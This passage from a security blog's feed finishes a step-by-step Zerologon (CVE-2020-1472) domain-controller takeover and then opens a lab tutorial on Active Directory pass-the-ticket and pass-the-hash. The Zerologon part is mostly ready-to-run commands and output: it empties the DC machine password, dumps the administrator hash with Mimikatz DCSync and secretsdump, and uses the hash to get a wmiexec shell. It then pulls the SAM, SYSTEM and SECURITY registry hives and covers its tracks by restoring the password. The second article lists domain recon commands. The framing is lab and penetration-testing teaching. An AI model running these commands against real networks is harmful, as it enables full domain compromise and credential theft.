exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/risksense/zerologon" target="_blank" rel="noopener"&#10; &gt;https://github.com/risksense/zerologon&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 3: Tool from &lt;a class="link" href="https://github.com/dirkjanm/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="step-3-retrieve-the-domain-administrator-hash"&gt;&lt;a href="#step-3-retrieve-the-domain-administrator-hash" class="header-anchor"&gt;&lt;/a&gt;Step 3: Retrieve the Domain Administrator HASH&#10;&lt;/h4&gt;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:&amp;#34;&amp;#34; /authntlm&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 2: Impacket&lt;/p&gt;&#10;&lt;p&gt;The Impacket toolkit is available at &lt;a class="link" href="https://github.com/SecureAuthCorp/impacket" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecureAuthCorp/impacket&lt;/a&gt;. Use its secretsdump.py tool to retrieve the domain administrator HASH:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 31d6cfe0d16ae931b73c59d7e0c089c0 is the hash of an empty value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/WIN-RITHFS5KHEN$@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 /usr/share/doc/python3-impacket/examples/secretsdump.py &amp;#39;secura.yzx/DC01$@192.168.131.97&amp;#39; -just-dc -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is &lt;code&gt;2b2ddd54e1f78fab85e7c662f672f30e&lt;/code&gt;. At this point, note that the HASH for the domain controller WIN-RITHFS5KHEN$ in NTDS.DIT is already the empty value &lt;code&gt;31d6cfe0d16ae931b73c59d7e0c089c0&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;For reference, the Administrator hash is &lt;code&gt;2b2ddd54e1f78fab85e7c662f672f30e&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="step-4-restore-the-domain-controller-hash"&gt;&lt;a href="#step-4-restore-the-domain-controller-hash" class="header-anchor"&gt;&lt;/a&gt;Step 4: Restore the Domain Controller HASH&#10;&lt;/h4&gt;&lt;p&gt;(You could skip this step, but that leaves traces behind, and failing to restore it may also cause the domain controller to go down. So we need to restore it.)&lt;/p&gt;&#10;&lt;p&gt;When Mimikatz restores the domain controller HASH, it changes both the credential in NTDS.DIT and the credentials in the registry/lsass to (Waza1234/Waza1234/Waza1234). This is not the original value. Although the domain will continue to work, this still leaves traces.&lt;/p&gt;&#10;&lt;p&gt;The recommended approach is to restore the original HASH. First, retrieve the domain controller&amp;rsquo;s original HASH from the registry data. You can do this with wmiexec.py or psexec.py from the Impacket package. The following example uses wmiexec.py and passes the HASH obtained for the domain administrator in the previous step:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# PTH getshell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Retrieve registry dump files; by default, they are stored in C:\ on the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A Chinese-language target system may report a decoding error; this does not affect operation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# /y: force overwrite of existing files, preventing a same-named file in C:\ on the target from causing an overwrite prompt that can stall a semi-interactive session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SYSTEM system.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SAM sam.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SECURITY security.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download the dump files locally&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget system.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget sam.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget security.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Delete the dump files from the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f system.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f sam.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f security.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export hashes from the registry dumps&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result is shown below. The domain controller key (HEX) is: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82&lt;/p&gt;&#10;&lt;p&gt;The NTLM HASH is: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93. Note that this differs from the empty HASH captured in the previous step, because that step retrieved the domain controller HASH record from NTDS.DIT, while this one retrieves the HASH record from the registry.&lt;/p&gt;&#10;&lt;p&gt;Next, restore it with a tool by synchronizing the HASH record in the registry back to NTDS.DIT:&lt;/p&gt;&#10;&lt;p&gt;Method 1: Tool from &lt;a class="link" href="https://github.com/risksense/zerologon" target="_blank" rel="noopener"&#10; &gt;https://github.com/risksense/zerologon&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This project explains the process very clearly. Just follow its steps.&lt;/p&gt;&#10;&lt;p&gt;Restore using the NT HASH:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/dirkjanm/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Restore using the key (HEX):&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 3: PowerShell&lt;/p&gt;&#10;&lt;p&gt;First, use a remote command-execution tool (wmiexec, psexec, smbexec, atexec, and so on) to obtain a shell on the domain controller. Then use a powershell command to reset the host HASH. Note that this does not restore the original HASH. Instead, it resets the credential in NTDS.DIT and the credentials in the registry/lsass to a random value:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;powershell -c Reset-ComputerMachinePassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="step-5-verify-that-the-domain-controller-hash-was-restored"&gt;&lt;a href="#step-5-verify-that-the-domain-controller-hash-was-restored" class="header-anchor"&gt;&lt;/a&gt;Step 5: Verify That the Domain Controller HASH Was Restored&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/administrator@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: PTT, PTH, and PTC</title><link>http://xtpol.com/p/active-directory-ptt-pth-ptc/</link><pubDate>Tue, 19 Nov 2024 08:58:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-ptt-pth-ptc/</guid><description>&lt;h2 id="learning-active-directory-pentesting"&gt;&lt;a href="#learning-active-directory-pentesting" class="header-anchor"&gt;&lt;/a&gt;Learning Active Directory Pentesting&#10;&lt;/h2&gt;&lt;p&gt;[TOC]&lt;/p&gt;&#10;&lt;p&gt;During a penetration test, we often run into a scenario like this: a server in the domain exposes a web service through a port mapping on the router. We exploit a web script vulnerability and gain system privileges on that host. If the client wants us to go further and test the internal network to demonstrate the serious risks facing the company, this is where internal Active Directory penetration comes in. Our usual goal is to gain control of the domain controller, because once the DC falls, the entire internal network is effectively in our hands.&lt;/p&gt;&#10;&lt;h3 id="1-lab-setup"&gt;&lt;a href="#1-lab-setup" class="header-anchor"&gt;&lt;/a&gt;1. Lab Setup&#10;&lt;/h3&gt;&lt;p&gt;Before we begin, we need to set up a domain environment. Since this is only for teaching and testing, one domain controller and one domain-joined host are enough. I use windows server 2012 and windows 7 here. By compromising windows 7, or simply controlling it directly, we can simulate a compromised host and use it to study Active Directory penetration.&lt;/p&gt;&#10;&lt;p&gt;The windows server 2012 machine has an Administrator user (the domain controller&amp;rsquo;s super-administrator account). Windows7 has a dada user (a member of the Administrators group) and a xiao user (a standard domain user).&lt;/p&gt;&#10;&lt;h3 id="2-information-gathering-in-the-domain"&gt;&lt;a href="#2-information-gathering-in-the-domain" class="header-anchor"&gt;&lt;/a&gt;2. Information Gathering in the Domain&#10;&lt;/h3&gt;&lt;p&gt;The first step in every penetration test is information gathering, and a domain is no exception.&lt;/p&gt;&#10;&lt;h4 id="-identify-the-environment"&gt;&lt;a href="#-identify-the-environment" class="header-anchor"&gt;&lt;/a&gt;① Identify the Environment&#10;&lt;/h4&gt;&lt;p&gt;Inside the domain, first identify the compromised host&amp;rsquo;s current internal-network environment, including details such as the topology. The following commands can help you quickly get your bearings.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;route print # View routing information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arp -a # View all devices in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all # Determine whether the host is domain-joined from the DNS suffix and DNS server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ping &amp;#34;DOMAIN_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time /domain # View system time and identify the primary domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;During a penetration test, remember to save the data you collect. Do not just glance at it and lose it, and try not to query the same information repeatedly. Every action should be clean and efficient.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="-domain-information"&gt;&lt;a href="#-domain-information" class="header-anchor"&gt;&lt;/a&gt;② Domain Information&#10;&lt;/h4&gt;&lt;p&gt;Besides learning about the internal-network environment, we can query domain-related information directly with commands.&lt;/p&gt;&#10;&lt;h5 id="1-net-view"&gt;&lt;a href="#1-net-view" class="header-anchor"&gt;&lt;/a&gt;1. net view&#10;&lt;/h5&gt;&lt;p&gt;View devices in the local workgroup/domain environment.&lt;/p&gt;&#10;&lt;p&gt;View online hosts in the domain. At this point, we can see the two machines in the domain: the compromised XZM-PC and the domain controller AD.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If error 6118 appears =&amp;gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Disable the firewall; 2. enable the services (Computer Browser, Server, and Workstation); 3. reopen CMD.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h5 id="2-net-view-domain"&gt;&lt;a href="#2-net-view-domain" class="header-anchor"&gt;&lt;/a&gt;2. net view /domain&#10;&lt;/h5&gt;&lt;p&gt;See how many domains currently exist. Here, we can see one domain named MAO.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-net-user-domain"&gt;&lt;a href="#3-net-user-domain" class="header-anchor"&gt;&lt;/a&gt;3. net user /domain&#10;&lt;/h5&gt;&lt;p&gt;View users in the domain. Besides the usual administrator and guest accounts, we can see a krbtgt user. This account is extremely important, and we will come back to it later.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-net-group-domain"&gt;&lt;a href="#4-net-group-domain" class="header-anchor"&gt;&lt;/a&gt;4. net group /domain&#10;&lt;/h5&gt;&lt;p&gt;View information about the domain&amp;rsquo;s groups.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are quite a few groups here, so I will list a few of the key ones.&lt;/p&gt;&#10;&lt;p&gt;*Domain Admins — administrators group&lt;/p&gt;&#10;&lt;p&gt;*Domain Computers — hostnames&lt;/p&gt;&#10;&lt;p&gt;*Domain Controllers — domain controllers group&lt;/p&gt;&#10;&lt;p&gt;*Enterprise Admins — enterprise-level administrators&lt;/p&gt;&#10;&lt;p&gt;You can use &lt;code&gt;net group group_name /domain&lt;/code&gt; to view the users in a group.&lt;/p&gt;&#10;&lt;h5 id="5-whoami-user"&gt;&lt;a href="#5-whoami-user" class="header-anchor"&gt;&lt;/a&gt;5. whoami /user&#10;&lt;/h5&gt;&lt;p&gt;Determine your current privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;500: administrator&lt;/li&gt;&#10;&lt;li&gt;501: guest&lt;/li&gt;&#10;&lt;li&gt;1000+: standard user&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="6-net-group-domain-controllers-domain"&gt;&lt;a href="#6-net-group-domain-controllers-domain" class="header-anchor"&gt;&lt;/a&gt;6. net group &amp;ldquo;domain controllers&amp;rdquo; /domain&#10;&lt;/h5&gt;&lt;p&gt;View the members of the domain controller administrators group (a high-privilege group in the domain).&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain Admins — domain administrators group (high privilege)&lt;/li&gt;&#10;&lt;li&gt;Domain Computers — hosts joined to the domain&lt;/li&gt;&#10;&lt;li&gt;Domain Controllers — domain controllers (high privilege)&lt;/li&gt;&#10;&lt;li&gt;Domain Users — standard domain users&lt;/li&gt;&#10;&lt;li&gt;Enterprise Admins — enterprise administrators (high privilege)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="8-systeminfo--findstr-kb"&gt;&lt;a href="#8-systeminfo--findstr-kb" class="header-anchor"&gt;&lt;/a&gt;8. systeminfo | findstr &amp;ldquo;KB&amp;rdquo;&#10;&lt;/h5&gt;&lt;p&gt;View patch information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="7-locate-the-domain-controller"&gt;&lt;a href="#7-locate-the-domain-controller" class="header-anchor"&gt;&lt;/a&gt;7. Locate the Domain Controller&#10;&lt;/h5&gt;&lt;p&gt;The domain controller has the highest privileges in the domain, so it is naturally our primary target. We can locate it using some of the commands introduced 